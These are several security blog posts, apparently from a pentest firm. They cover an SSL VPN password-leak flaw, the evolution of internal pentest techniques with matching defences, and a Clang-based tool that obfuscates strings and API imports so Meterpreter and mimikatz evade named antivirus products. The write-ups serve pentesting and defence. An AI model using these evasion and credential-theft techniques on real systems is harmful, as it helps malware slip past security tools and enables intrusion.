Last year I got this idea that I should attempt to pay for my holidays to Japan by hunting for bounties in security appliances while in the plane. A full 10 hours of uninterrupted focus on one solution seemed like it should yield interesting results. So I started reverse engineering the Firewall of a relatively common brand which has a private bug bounty. Due to this reason, I won’t be giving out the full details of the issue I discovered, but I find the vulnerability to be quite interesting and worth discussing. So I attempt to do this here without breaching any disclosure terms…
This happened relatively shortly after I had discovered some issues in Sonicwall appliances (there may well be more of them discussed here in the short future), so I was still investigating SSL VPNs and searching for ways to compromise them.
One of the features that most SSL VPNs offer is the ability to provide single sign-on for internal applications once a user is authenticated to the VPN device. Unless a fancier protocol like OAuth2 or SAML is used, a VPN admin might be required to specify a URL that allows the user to “seamlessly” authenticate to the back-end server. This might look like the following:
When the user attempts to access the back-end application, a templating engine will automatically replace the username and password with the user’s data and thus authenticate successfully with the back-end server.
In other cases, the back-end server might accept Basic, Digest, NTLM or other types of authentication, which could also be configured by a VPN admin.
The first vulnerability I discovered was a pretty straightforward stack-based buffer overflow in the way the SSL VPN parsed the Negotiate authentication header. However, it was only exploitable from a back-end server. Worst case scenario, a server administrator (or any person who could tamper with internal communications) could potentially compromise the SSL VPN device. I wasn’t particularly enthusiastic about this finding as in practice, I didn’t really see many cases where I’d be able to exploit it. But I did continue researching how the device parsed these authentication headers in order to achieve single sign-on.
It turns out that the device did a pretty simple pattern match and replace on the {{username}} and {{password}} strings that were detected in the HTTP request. Where it got interesting, is when I noticed that these patterns were also replaced in the headers of the server’s Response for some reason. Not quite sure whether there is a legitimate reason to do so, or if this is an oversight, but I was wondering whether there was a way to exploit this in order to recover a user’s password.
Essentially, as an attacker we would need to find a way to get a specific pattern in the headers of the HTTP response from an application which is accessed through the VPN (even if no SSO is configured for it by the way). Unfortunately, I couldn’t find a generic way of doing so, but it is possible if one of the back-end applications is vulnerable to an insecure redirect.
When exploiting such a vulnerability, an attacker has to convince a user to click on a malicious link which will redirect the user to another location. Unless it is done in JavaScript, the redirection is generally done with a Location HTTP header containing the new location to visit.
This is very convenient in our case, as it allows us to recover the user’s VPN password as long as we can achieve the two following things:
Know the location of an insecure redirect on any application accessed through the VPN
Convince an authenticated user to visit a maliciously prepared URL
For instance, if I can get a user to click on the following link:
The user will end up visiting SCRT’s website while providing his or her username and password in the URL, since the browser will see the following response from the application.
HTTP/1.1 302 Found
Location: https://www.scrt.ch/?user=USER&password=Password01
Obviously this is not the most serious vulnerability to be discovered but I thought it was quite different from what I usually see and worth presenting quickly. There might be other devices out there vulnerable to similar flaws or templating issues.
Unfortunately, it’s only after I did the research and reported the various issues that I noticed that the bug bounty program was no longer issuing any rewards, so I wasn’t even close to paying for my trip.
To many people, pentesting (or hacking in a broader sense) is a dark art mastered by some and poorly understood by most. It has evolved quite substantially throughout the years, guided by new vulnerabilities, changing behaviours and maybe most importantly the development and release of new tools, be they offensive or defensive.
In this blog post, I wanted to present how pentests have evolved since I started my pentesting journey some 12 years ago. Note that none of this is backed by hard data, but on my own feelings after seeing a great number of tests performed throughout the years.
When it comes to the types of pentests we perform, we see that while standard internal or external tests are performed by companies who have never or rarely had any security testing done beforehand, seasoned companies tend to ask for more specific testing of applications, systems or processes.
Red or Purple teaming approaches are preferred in order to establish not only which vulnerabilities are present, but also determine whether the defensive efforts are properly prioritized and implemented.
A lot of testing has now also shifted to the Cloud, and although some aspects of these tests remain similar, there are a number of subtleties provided by each Cloud provider that need to be considered.
In this post, I’ll have a look at how internal pentests have evolved throughout the years.
Internal pentests
When I started pentesting, the MS08-067 (Conficker) vulnerability had just been published and for some (long) time afterwards, compromising a company was all about discovering which system hadn’t been patched, exploiting it with Metasploit, cracking the LM or NTLM hash of the local administrator and reusing it throughout the company to compromise all systems.
Even though we still occasionally discover systems vulnerable to MS08-067, the “entry point” into the network has changed throughout the years. For some time, JBoss and Tomcat servers were the holy grail of pentesters, as they tended to be installed with an administration interface which is often poorly protected (if protected at all) which allowed to deploy new applications and thus run arbitrary commands on the server.
In most cases these commands were run with SYSTEM privileges allowing for a full compromise. This latter fact is an issue that we still routinely discover, where applications run with elevated privileges on a server for no particular reason apart from the fact that it’s easy to do! I’d recommend having a look at Group-Managed Service Accounts to attempt to avoid this.
Thankfully, the more recent versions of these application servers either do not install a management interface or simply do not provide any default credentials any more, which limits the ways in which they can be compromised, although unauthenticated JMX or Java RMI interfaces can often still be exploited with tools such as ysoserial.
A little more recently, MS17-010 became the new norm in order to compromise a workstation or server, and very much like MS08-067, it can often still be exploited nowadays, despite the patch being available for over 3 years. The only “difficulty” is to find that hidden server that hasn’t been patched in years but can’t be decommissioned because it’s “too sensitive”. This might come in as a surprise to some, but hackers rarely spend much time on the servers you just installed and hardened. Instead, they will search for the old ones which you’re trying to forget about!
The “entry point” or first vulnerability has certainly changed multiple times throughout the years, but the concept of compromising the local administrator account and reusing it elsewhere stayed true for a long time. However, the fact of cracking the password was never really required, as pass-the-hash techniques could be abused instead. The concept of actually cracking a NTLM hash and recovering the clear-text password is mostly used to generate password statistics nowadays.
One of the more impactful developments has been the adoption of LAPS, or similar password management tools, which allow administrators to manage the local administrator passwords for all domain-joined computers. This completely prevents the previously discussed lateral movements and is probably the single biggest improvement we have seen over the years, although for it to really be efficient, all other local accounts must be removed!
Due to this, it is no longer interesting to recover the local accounts after compromising a server. Instead, tools such as Mimikatz are used to recover the clear-text credentials (or NTLM hash) of connected users directly from the machine’s memory. This allows for the compromise of domain users that have recently authenticated to the machine. Compromising a domain administrator account is therefore achieved by compromising any server (or workstation…) where such an account is logged on.
Even though Microsoft has recommended for years that these accounts be used as little as possible, it is still a relatively common practice to use domain administrator accounts for routine administration purposes or even for service accounts. It’s just so much simpler that way!
When it comes to discovering the machines used by domain administrators and how to compromise them, the development of tools such as BloodHound have shown that it is not always necessary to exploit an actual vulnerability to get there, but simply abuse a (mis)configuration of the Active Directory. Overly broad permissions on AD objects can rapidly be exploited by attackers to elevate privileges within a domain.
Kerberoasting is another fun technique which is commonly used nowadays as it allows any domain user to essentially recover a non-replayable hash of accounts which have a Service Principal Name (usually service accounts). This is one of the cases where cracking a hash is actually necessary. Thankfully for attackers, service accounts are often ancient and set with a password which never expires. In many cases it is the name of the service followed by the year the service was installed. These passwords will take seconds to break and often grant extensive access to the information system.
Nevertheless, BloodHound and Kerberoasting attacks still require an initial domain account to be used. Nowadays, it is often much easier to compromise an account rather than compromising a workstation or server.
For some time, a simple domain account was sufficient to compromise high privileged credentials in GPPs as these were encrypted in a reversible format. Even though this has now been “patched” (essentially by removing the vulnerable feature) it is always worth grepping for cpassw in SYSVOL, just in case.
But how do we actually compromise this initial account?
Responder is a fantastic tool which allows to recover a non-replayable hash from computers that still use legacy protocols such as LLMNR and NBNS for name resolution. The hash can be recovered by forcing the vulnerable system to authenticate to the attacker’s one. At this stage, the hash could potentially be broken (probably because the password is Welcome2020) but it doesn’t actually need to be, since NTLM is vulnerable to relay attacks. Instead of recovering the account hash, an attacker can simply the authentication to another system with the help of tools such as ntlmrelayx from impacket.
The impact of such attacks depends on the privileges of the compromised account. In the worst case scenario, a domain administrator account might be compromised in this fashion to directly execute arbitrary commands on the domain controller.
Internal pentests nowadays often revolve around this idea of forcing an account to authenticate to the attacker’s machine. This can be done by abusing LLMNR or NBNS, but it could also be done by simply inserting an image or iframe in unencrypted HTTP traffic, the end result would be similar. The authentication is then relayed to an appropriate system depending on the account privileges, and from there, privilege escalation is achieved through misconfigured Active Directory objects.
Pilfering the Active Directory for these misconfigurations has become somewhat of an art and there are several combination of issues which can potentially be abused to execute code on a targeted machine if the appropriate credentials are “available” on the network. This article from last year presents several ways of abusing Kerberos delegation for example. Other simpler ways exist, such as searching for clear-text passwords in object descriptions which by default are available to all.
The “printer bug” can also be used in many cases to force a machine account to authenticate to an attacker’s machine. If the machine happens to have admin privileges on another machine (this is easy to discover with BloodHound for example), this gives instant access to the second machine with high privileges.
The current “meta” for internal pentests is to run Responder alongside ntlmrelay to gain initial access, and then replay credentials compromised with Mimikatz and abuse AD misconfigurations to compromise a domain administrator account. Obviously this is a bit of an oversimplification as there are still other vulnerabilities that can be exploited, but it is often the path of least resistance.
And of course, while I’m writing this, the ZeroLogon vulnerability was published, ensuring pentesters a healthy couple years of directly compromising domain controllers without going through everything I just discussed!
So how can you defend against this?
The initial part of the attack process is based on the NTLM authentication protocol and its weakness against relay attacks. Obviously if you disable NTLM authentication altogether and exclusively use Kerberos, this particular problem is solved, but in practice, this is near impossible to do.
One possibility is to disable LLMNR and NBNS, but it won’t prevent malicious users from inserting images into unencrypted HTTP traffic or cases such as the printer big discussed above. Thankfully, there is another solution which is the fact of requiring SMB signing for both clients and servers. This effectively prevents the relaying attacks on the SMB protocol. Unfortunately, NTLM authentication can also be used in cross-protocol attacks, where an authentication to an HTTP server for example can be relayed to a SMB server or vive-versa. Other protections such as channel binding or proper use of TLS are required to mitigate these attacks. A nice article regaring NTLM relay and its mitigations can be found here.
The second part of the attacks relies on the ability to use mimikatz to compromise credentials and attack systems which are used simultaneously administered by lower privileged accounts and used by higher privileged accounts. The first recommendation i’d give here is to not rely on your anti-virus to block Mimikatz. There are so many different evasion techniques available, that one of them will always end up working. Instead, prefer the protection of LSASS with Credential Guard. I also highly recommend the use of the Protected Users group for any privileged account. Similarly, they should all be marked with the Account is sensitive and cannot be delegated property to avoid them being abused in Kerberos delegation attacks.
And finally the harder part is implementing a proper privileged account management hygiene. To avoid privilege escalation through a compromised system, it must be impossible for a more privileged account to be used on a system where a lesser account has administrative privileges. A tiered administration approach can be used, such as the one proposed by Microsoft here.
I’d recommend reading the whole article, but i’ll attempt to very briefly summarise the key points:
Setup a minimum of 3 administrative tiers/groups in the Active Directory. This would be for domain admins, server admins and workstation admins for example.
Implement the concept of Privileged Access Workstations (PAW) for these administrators. This is actually harder to implement than one might think, especially since most companies will not want to provide multiple workstations for administrators. One relatively straightforward way of doing this is using a hardened “base” laptop for administrative purposes and login to a VDI or virtual machine for all “user” tasks.
Restrict access and logon between administrative tiers with firewalls and group policies
Use Windows Firewall to allow access to the various tiers only from authorised PAWs for the associated tier.
Implement Multi-factor authentication for administrators
Put all admin accounts in the Protected Users group
Mark all admins as sensitive for delegation
If you feel like this is not enough, you could also go for an ESAE Administrative Forest (also sometimes called Red Forest).
One constant that I have seen throughout the years and companies where I have performed tests is the lack of proper internal network filtering. Even though it is getting rarer nowadays to find a completely “flat” network with all workstations and servers on the same subnet, there is rarely any firewalling performed between subnets and pretty much never any within a given subnet. This is a shame as proper filtering can prevent a great number of exploits by simply restricting access to the vulnerable services.
I’ve also regularly been asked the question “What solution can we buy to protect against this or prevent that?”. But in most cases, it is a lot better to properly setup and configure a system which is already in place (such as Windows and Active Directory for example) rather than acquire a new solution that will just increase the overall attack surface. Security products can include security vulnerabilities, as has been demonstrated numerous times.
EDR solutions or “next-generation” anti-viruses are all the rage right now, promising to detect malicious payloads and behaviours. Even though they definitely provide an additional hurdle for intruders, a skilled attacker will probably always be able to circumvent the solution, with techniques such as the ones discussed by my colleague @plowsechere and here. Again, relying on a specific security solution rather than applying defense in depth techniques is not the way to go.
What’s next?
Supposing all companies apply the protections discussed above such that NTLM relaying is no longer possible, credentials are protected in memory and domain admin accounts cannot be compromised any more. How will pentests evolve? I’m pretty sure this will depend on new quality tools being developed and released, as the ones discussed in this post have shaped the way pentests are performed now.
One thing that is important to note is that domain administrator accounts are not actually all that useful in a targeted attack. During pentests they are always seen as the main objective because they essentially grant access to everything in an organisation, but a real attacker does not need access to everything. If appropriately targeted, a single non-administrator account can be sufficient to gain access to a specific piece of information. Figuring out which account has that specific access and where it might be compromised will be all the more important.
If we imagine that credentials cannot be compromised in-memory any more, I believe attackers will resort to older techniques such as key logging or even just phishing to get a victim’s credentials. This however assumes that passwords will remain as the main authentication factor. Hopefully this won’t be the case, but currently it looks like there is still some time ahead of us before they are replaced by something better.
As to how access to a workstation or server is gained in the first place, I’m confident new techniques and vulnerabilities will arise, be they within Windows or other third party solutions that are used by all and updated much less frequently. Backup or automation solutions seem like strong contenders. However, if companies decide to apply appropriate firewaling rules, these vulnerabilities may never actually be exploited, and attackers may have to rely only on compromised accounts to achieve their purposes, meaning that appropriately managing privileges will remain extremely important.
I’m obviously not a psychic and have no idea what will really happen, but if any of the information in this post can help someone better prepare against current (or future?) attack techniques, it will have served some purpose!
At SCRT, we have been performing penetration tests for nearly 20 years now and have always tried to improve our methodologies to match client expectations and deliver the most accurate and useful results from each test we undertake.
Over the last few years, Bug bounty programs have been making a name for themselves as they bring a new approach to assessing the security level of a company, application or system. They allow for a more continuous, albeit less controlled, testing of a targeted scope.
Some people will probably argue that bug bounties and pentests are antagonistic, while I believe that they are two very complementary approaches for achieving a better overall security level. Mature companies tend to move towards a system where penetration tests are performed to discover vulnerabilities and essentially verify the security level of an application or system when it is deployed or updated, and a bug bounty program is then used to ensure a sort of continuous monitoring from a larger population of bug hunters.
There are advantages and drawbacks to both pentesting and bug bounties, which is why they can be used together to achieve better results. I’ve attempted to compare both options in a rather simplified manner, while trying to emphasize where each option outperforms the other.
Obviously some people will disagree with what is considered as an advantage and what isn’t but I have tried to remain as neutral as possible and typically, when it comes to costs, the fact they are essentially unknown and entirely dependent on the number of vulnerabilities and their classification in a bug bounty program will be seen as a clear advantage for some and an inconvenient for others, which is why I’ll let you decide where you stand on that issue.
The same goes for the duration. I would tend to believe that an unlimited test would be more interesting than a limited one, but it also means that the company must be able to react to potential incidents at any time and coordinate more closely with the SOC.
We have noticed that many companies are reluctant to setting up a bug bounty program. Having helped in organising and managing the Public Intrusion Test (PIT) for the Swiss e-voting system last year (which was essentially a temporary bug bounty program), we also understand why. The main issues we ran into can be summarised as such:
Poor quality and out of scope submissions
Difficult to know how many people (if any) will actually look at the system
Difficulty to establish a trust relationship with the participants as they are essentially anonymous
Difficulty to define the bounty amounts and control costs (although this wasn’t done by us in this case)
Now I know most Bug bounty platforms will attempt to help companies in managing these issues, but we felt there was a way SCRT could also help our clients bridge the gap between traditional pentesting and bug bounties. This is where our Continuous pentesting offer comes in.
The idea is to take the advantages of both the pentesting and bug bounty worlds while minimising the drawbacks. The main advantage of this system is that whatever elements are included in the scope are assured to be tested by a rotating pool of trusted SCRT engineers at various times throughout the year.
Regarding costs, we are sticking to a more traditional pentesting approach, where we will be using a per-day rather than per-vulnerability model so as to fully control the costs of the tests beforehand.
We cannot provide a 24/7 monitoring of all vulnerabilities within a specific scope, but by avoiding pre-planned dates, it gives us the flexibility to test when new vulnerabilities or types of attacks emerge so that we can verify whether or not your systems are affected in a more dynamic and proactive way.
If you’re interested in this approach, feel free to contact us to get additional details and see how we can best adapt our offer to your requirements.
tl;dr To interact with the Windows operating system, software often import functions from Dynamic Link Libraries (DLL). These functions are listed in clear-text in a table called Import Address Table and antivirus software tend to capitalise on that to infer malicious behavioural detection. We show ideas and implementation of an obfuscator that allows to refactor any C/C++ software to remove this footprint, with a focus on Meterpreter. The source code is available at https://github.com/scrt/avcleaner.
Introduction
In a previous blog post, we showed how to replace string literals in source code accurately without using regexes. The goal is to reduce the footprint of a binary and blind security software that relies on static signatures.
However, apart from string literals in the source code itself, there are plenty of other fingerprints that can be collected and analysed statically. In this blog post, we will show how one can hide API imports manually from a binary, and then automate the process for every software written in C/C++.
The problem with API imports
Let us write and build a simple C program that pops up an alert box:
As evident from the console output shown above, the string MessageBoxA appears three times. This is due to the fact that this function must be imported from the library User32.dll (more on this later).
Of course, this string in particular is not susceptible to raise an antivirus’ eyebrows, but that would definitely be the case for APIs such as:
InternetReadFile
ShellExecute
CreateRemoteThread
OpenProcess
ReadProcessMemory
WriteProcessMemory
…
Hiding API imports
Before going further, let us recapitulate the different ways available to developers to call functions in external libraries on Windows systems [1]:
Load-time dynamic linking.
Run-time dynamic linking.
Load-time dynamic linking
This is the default approach to resolve function in external libraries and is actually taken care of automatically by the linker. During the build cycle, the application is linked against the import library (.lib) of each Dynamic Link Library (DLL) it depends on. For each imported function, the linker writes an entry into the IAT for the associated DLL.
When the application is started, the operating system scans the IAT and maps all the libraries listed there in the process’ address space, and the addresses of each imported function is updated to point to the corresponding entry in the DLL’s Export Address Table.
Run-time dynamic linking
An alternative is to do it manually by first loading the corresponding library with LoadLibrary, and then resolving the function’s address with GetProcAddress. For instance, the previous example can be adapted in order to rely on run-time dynamic linking.
First, it is necessary to define a function pointer for the API MessageBoxA. Before jumping into that, let us share a small trick to remember the syntax of function pointers in C for those of us that find it unintuitive:
The Windows.h include is only required for the data types HWND, LPCTSTR and UINT. Building and running this simple example spawns an alert box, as expected:
Final adaptation
Of course, running strings on toto.exe will still yield the strings “User32.dll” and “MessageBoxA”. So, those strings should ideally be encrypted, but the simple obfuscation trick shown in the previous blog post suffices to bypass antivirus detection. The end result would be:
The same approach lengthily described in the previous blog post can be used to refactor an existing code-base, so that suspicious API are loaded at runtime and removed from the Import Address Table. To do that, we will build upon the existing work realised with libTooling.
Let us break down this task as follows:
Generate the Abstract Syntax Tree for the previous, original example. This is required to understand how to manipulate the nodes to replace a function call.
Locate all the function calls in a code-base for a given API with an ASTMatcher.
Replace all the calls with another function identifier.
Insert LoadLibrary / GetprocAddress calls just before each function call.
Check that it works.
Generalise and obfuscate all the suspicious API.
The MessageBox application’s Abstract Syntax Tree
To view Clang’s Abstract Syntax Tree for the original MessageBox application, let us use that script (adapt the path to your Windows SDK):
Locating function calls in source code basically amounts to finding AST nodes of type CallExpr. As pictured on the screenshot above, the function name that is actually called is specified in one of its child nodes, so it should be possible to access it later on.
Locate function calls for a given API
ASTMatcher is just what we need in order to enumerate every function call to a given function. First, it is important to get the syntax right for this matcher, since it is a bit more complicated that the one used in the previous blog post. To get it right, I relied on clang-query, which is an invaluable interactive tool that allows to run custom queries on source code. Interestingly, it is also based on libTooling and is much more powerful than what is showcased in this blog post (see [2]).
clang-query> match callExpr(callee(functionDecl(hasName("MessageBoxA"))))
Match #1:
/Users/vladimir/dev/scrt/avcleaner/test/messagebox_simple.c:6:5: note: "root" binds here
MessageBoxA(NULL, "Test", "Something", MB_OK);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 match.
clang-query>
Trial-and-error and tab completion suffice to converge quickly to a working solution. Now that the matcher is proven to work well, we can create a new ASTConsumer just like we did in the previous blog post. Basically, its job is to reproduce what we did with clang-query, but in C++:
An implementation detail that we found important was to offer the possibility to match many different functions, and since the end game is to insert LoadLibrary / GetProcAddress for each replaced API function, we need to be able to supply the DLL name along the function prototype.
Doing so allows to elegantly register as many ASTConsumers as there are API to replace. Instantiation of this ASTConsumer must be done in the ASTFrontendAction:
This is the only modification required on the existing code that we did in the previous blog post. From there, everything else can be realised as a bunch of code that we will add, starting with the creation of ApiMatchHandler.cpp. The matcher must be provided with a callback function, so let us give it one:
This is the most trivial part. The goal is to replace “MessageBoxA” in the AST with a random identifier. Initialisation of this random variable is done in the subsequent section.
bool ApiMatchHandler::handleCallExpr(const CallExpr *CallExpression, clang::ASTContext *const pContext) {
// generate a random variable name
std::string Replacement = Utils::translateStringToIdentifier(_ApiName);
// inject Run-time dynamic linking
if (!addGetProcAddress(CallExpression, pContext, Replacement, _ApiName))
return false;
// MessageBoxA -> random identifier generated above
return replaceIdentifier(CallExpression, _ApiName, Replacement);
}
The ReplaceText Clang AP is used to rename the function identifier:
Injecting Run-time dynamic linking for the API that we would like to add is a multi-step process:
Insert the API prototype, either at the top of the translation unit or in the enclosing function. To keep it simple, we opt for the latter, but we need to ensure that it was not already added in case the API is called several times in the same function, which would happen if there are subsequent calls to the same API.
Insert the line HANDLE <random identifier> LoadLibrary(<library name>);
Insert the call to GetProcAddress.
Of course, to avoid inserting obvious string literals while doing this, each string must be written as a stack string instead. This makes the code a bit tedious to read but nothing too complex:
As you can see, the combination of both the string obfuscation and API obfuscation passes are quite powerful. The string “Test” was left out because we decided to ignore small strings. Then, the obfuscated source code can be built:
Testing on a Windows 10 virtual machine showed that the original features were kept functional. More importantly, there are no “MessageBox” strings in the obfuscated binary:
With regard to the antivirus ESET Nod32, we discovered that it was important to hide API imports related to samlib.dll, especially the APIs in the list below:
SamConnect
SamConnectWithCreds
SamEnumerateDomainsInSamServer
SamLookupDomainInSamServer
SamOpenDomain
SamOpenUser
SamOpenGroup
SamOpenAlias
SamQueryInformationUser
SamSetInformationUser
SamiChangePasswordUser
SamGetGroupsForUser
SamGetAliasMembership
SamGetMembersInGroup
SamGetMembersInAlias
SamEnumerateUsersInDomain
SamEnumerateGroupsInDomain
SamEnumerateAliasesInDomain
SamLookupNamesInDomain
SamLookupIdsInDomain
SamRidToSid
SamCloseHandle
SamFreeMemory
These functions are not black-listed anywhere in the AV engine as far as we could tell, but they do somehow increase the internal detection confidence score. So, we must register an ApiCallConsumer for each of these functions, which means that we need their names and their function prototypes:
Here, std::make_unique is invaluable because it allows us to instantiate objects on the heap in this loop, while sparing us the effort to manually free those objects later on. They will be freed automatically when they are no longer used.
Finally, we can battle test the obfuscator against mimikatz, especially kuhl_m_lsadump.c:
The strings inside the macro “PRINT_ERROR” were left out because we noped out this macro with a do{}while(0). As a side note, we did not find a better project to find bugs in the obfuscator than mimikatz. The code style is indeed quite exotic .
Improvements
Here are some exercices left to the reader
More stealth
You don’t actually need the API LoadLibrary / GetProcAddress to perform run-time dynamic linking.
It is best to reimplement these functions to avoid hooks, and there already are open-source projects that allow you to do that (ReflectiveDLLInjection).
If you managed to read this far, you know that you only have to inject an implementation for these functions at the top of the translation unit (with findInjectionSpot) and update the method addGetProcAddress to use your implementation instead of the WinAPI.
Error handling
LoadLibrary returns NULL in case it was not successful, so it is possible to add a check for this and gracefully recover from this error. In the current situation, the application may very well crash.
GetProcAddress also returns NULL in case of errors and it is important to check for this as well.
Conclusion
In this blog post, we showed how it is possible to accurately replace function calls in C/C++ code-bases without using regexes. All of that was realised to prevent antivirus software to statically collect behaviour information about Meterpreter or other software that we use during our pentesting engagements.
Applied to ESET Nod32, this was a key step to allow every Meterpreter modules to go through its net undetected, and was definitely helpful for the more advanced products.
Hiding API imports is one thing, but once the malware executes, there are ways for a security software to gather behavioural information by monitoring API calls.
In view of that, the next blog post will be about automated refactoring of suspicious Win32 APIs to direct syscalls. This is another key step to circumvent run-time detection realised with userland hooks for AV such as Cylance, Traps and Kaspersky.
tl;dr: this blog post documents some aspects of our research on antivirus software and how we managed to automatically refactor Meterpreter to bypass every AV/EDR we were put up against. While the ideas for every technique and the implementation of the string obfuscation pass are detailed below, we decided to publish details on API imports hiding / syscalls rewriting in future blog posts to keep this one as short as possible. The source code is available at https://github.com/scrt/avcleaner
Among the defensive measures a company can implement to protect its information systems against attacks, security software such as antivirus or EDR often come up as an essential toolset to have. While it used to be rather easy to circumvent any kind of malware detection mechanism in the past years, doing so nowadays certainly involves more effort.
On the other hand, communicating about the risks associated with a vulnerability is really challenging in case the Proof-of-Concept to exploit it is itself blocked by an antivirus. While one can claim that it is always theoretically possible to bypass the detection [1] and leave it at that, actually doing it may add some strength to the argument.
In addition, there are vulnerabilities that can only be discovered with an existing foothold on a system. For example, in the case where a pentester is not able to get that initial level of access, the audit’s result would not accurately depict the actual security level of the systems in scope.
In view of that, there is a need to be able to circumvent antivirus software. To complicate things, at SCRT we rely on publicly available, open-source tools whenever possible, to emphasise that our work is reproducible by anyone skilled enough to use them, and does not depend on private, expensive tools.
Problem statement
The community likes to categorise the detection mechanisms of any antivirus as being “static” or “dynamic”. Generally, if detection is triggered before the malware’s execution, it is seen as a kind of static detection. However, it is worth knowing that a static detection mechanism such as signatures can be invoked during the malware’s execution in reaction to events such as process creations, in-memory file downloads, and so on. In any case, if we want to use the good old Meterpreter against any kind of security software, we must modify it in such a way that it fulfills the following requirements:
Bypass any static signature, whether during a filesystem scan or a memory scan.
Bypass “behavioural detection” which, more often than not, relates to evading userland API hooking.
However, Meterpreter comprises several modules, and the whole codebase amounts to around 700’000 lines of code. In addition, it is constantly updated, which means running a private fork of the project is sure to scale very poorly.
In short, we need a way to transform the codebase automatically.
Solutions
After years of experience bypassing antivirus software, if there is any kind of insight that we could share with the community, it would be that a malware detection is almost always trivially based on strings, API hooks, or a combination of both.
Even for the products that implement machine learning classifiers such as Cylance, a malware that does not have strings, API imports and hookable API calls is sure to go through the net like a soccer ball through Sergio Rico’s defence.
Meterpreter has thousands of strings, API imports are not hidden in any way and sensitive APIs such as “WriteProcessMemory” can be intercepted easily with a userland API hook. So, we need to remedy that in an automated fashion, which yields two potential solutions:
Source-to-source code refactoring
LLVM passes to obfuscate the code base at compilation time.
The latter would be the preferred approach, and many popular researches reached the same conclusion [2]. The main reason is that a transformation pass can be written once and reused independently of the software’s programming language or target architecture.
However, doing so requires the ability to compile Meterpreter with a compiler other than Visual Studio. While we have published some work to change that in December 2018, adoption in the official codebase is still an ongoing process more than a year later.
In the meantime, we have decided to implement the first approach out of spite. After a thorough review of the state-of-the-art of source code refactoring, libTooling (part of the Clang/LLVM toolchain) appeared to be the only viable candidate to parse C/C++ source code and modify it.
Note: since the codebase is strongly Visual Studio dependent, Clang will fail to parse a large part of Metepreter. However, it was still possible to bypass the target antivirus with that half-success. And here we probably have the only advantage of source-to-source transformation over compile-time transformation: the latter requires the whole project to compile without any errors. The former is resilient to thousands of compilation errors; you just end up with an incomplete Abstract Syntax Tree, which is perfectly fine.
String obfuscation
In C/C++, a string may be located in many different contexts. libTooling is not really pleasurable to toy with, so we have applied Pareto’s Law and limited ourselves to those that cover the most suspicious string occurrences within Meterpreter’s codebase:
Function arguments
List initializers
Function arguments
For instance, we know for a fact that ESET Nod32 will flag the string “ntdll” as being suspicious in the following context:
ntdll = LoadLibrary(TEXT("ntdll"))
However, rewriting this code snippet in the following manner successfully bypasses the detection:
Behind the scenes, the first snippet will cause the string “ntdll” to be stored inside the .rdata section of the resulting binary, and can be easily spotted by the antivirus. The second snippet will cause the string to be stored on the stack at runtime, and is statically indistinguishable from code, at least in the general case. IDA Pro or alternatives are often able to recognise the string, but they also run more advanced and computationally intensive analyses on the binary.
Those strings will be stored in clear-text in the .rdata section of ext_server_espia.x64.dll and picked up by ESET Nod32 for instance.
To make things worse, those strings are parameters to a macro, located in a list initialiser. This introduces a bunch of tricky corner cases that are not obvious to overcome. The goal is to rewrite this snippet automatically as follows:
Calling functions exported by external libraries causes the linker to write an entry into the Import Address Table (IAT). As a result, the function name will appear as clear-text within the binary, and thus can be recovered statically without even executing the malware. Of course, there are function names that are more suspicious than others. It would be wise to hide all the suspicious ones and keep the ones that are present in the majority of legitimate binaries. For instance, in the kiwi extension of Metepreter, one can find the following line:
This function is exported by samlib.dll, so the linker will cause the strings “samlib.dll” and “SamEnumerateUsersInDomain” to appear in the compiled binary.
To solve this issue, it is possible to import the API at runtime using LoadLibrary / GetProcAddresss. Of course, both these functions work with strings, so they must be obfuscated as well. Thus, we would like to automatically rewrite the above snippet as follows:
By default, using the migrate command of Meterpreter on a machine where Cylance is running triggers the antivirus detection (for now, just take our word for it). Cylance detects the process injection with a userland hook. To get around the detection, one can remove the hook, which seems to be the trending approach nowadays, or simply avoid it altogether. We found it simpler to read ntdll, recover the syscall number and insert it in a ready-to-call shellcode, which effectively gets around any antivirus’ userland’s hooks. To date, we have yet to find a Blue-Team that identifies NTDLL.DLL being read from disk as being “suspicious”.
Implementation
All the aforementioned ideas can be implemented in a source code refactoring tool based on libTooling. This section documents the way we did it, which is a compromise between time available and patience with the lack of libTooling documentation. So, there is room for improvements, and in case something looks off to you, it probably is and we would love to hear about it.
Abstract Syntax Tree 101
A compiler typically comprises several components, the most common ones being a Parser and a Lexer. When source code is fed to the compiler, it first generates a Parse Tree out of the original source code (what the programmer wrote), and then adds semantic information to the nodes (what the compiler truly needs). The result of this step is called an Abstract Syntax Tree. Wikipedia showcases the following example:
while b ≠ 0
if a > b
a := a − b
else
b := b − a
return a
A typical AST for this small program would look like this:
This data structure allows for more precise algorithms when it comes to writing programs that understand properties of other programs, so it seems like a good choice to perform large scale code refactoring.
Clang’s Abstract Syntax Tree
Since we need to modify source code The Right WayTM, we will need to get acquainted with Clang‘s AST. The good news is that Clang exposes a command-line switch to dump the AST with pretty colours. The bad news is that for everything but toy projects, setting the correct compiler flags is… tricky.
For now, let us have a realistic yet simple enough test translation unit:
Notice that WIN_INCLUDE points to a folder containing all the required headers to interact with the Win32 API. These were taken as-is from a standard Windows 10 install, and to save you some headaches, we recommend that you do the same instead of opting for MinGW’s ones. Then, call the script with the test C file as argument. While this produces a 18MB file, it is easy enough to navigate to the interesting part of the AST by searching for one of the string literals we defined, for instance “NtMapViewOfSection“:
Now that we have a way to visualise the AST, it is much simpler to understand how we will have to update the nodes to achieve our result, without introducing any syntax errors in the resulting source code. The subsequent sections contain the implementation details related to AST manipulation with libTooling.
ClangTool boilerplate
Unsurprisingly, there is some required boilerplate code before getting into the interesting stuff, so punch-in the following code into main.cpp:
#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"
// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"
#include "Consumer.h"
#include "MatchHandler.h"
#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>
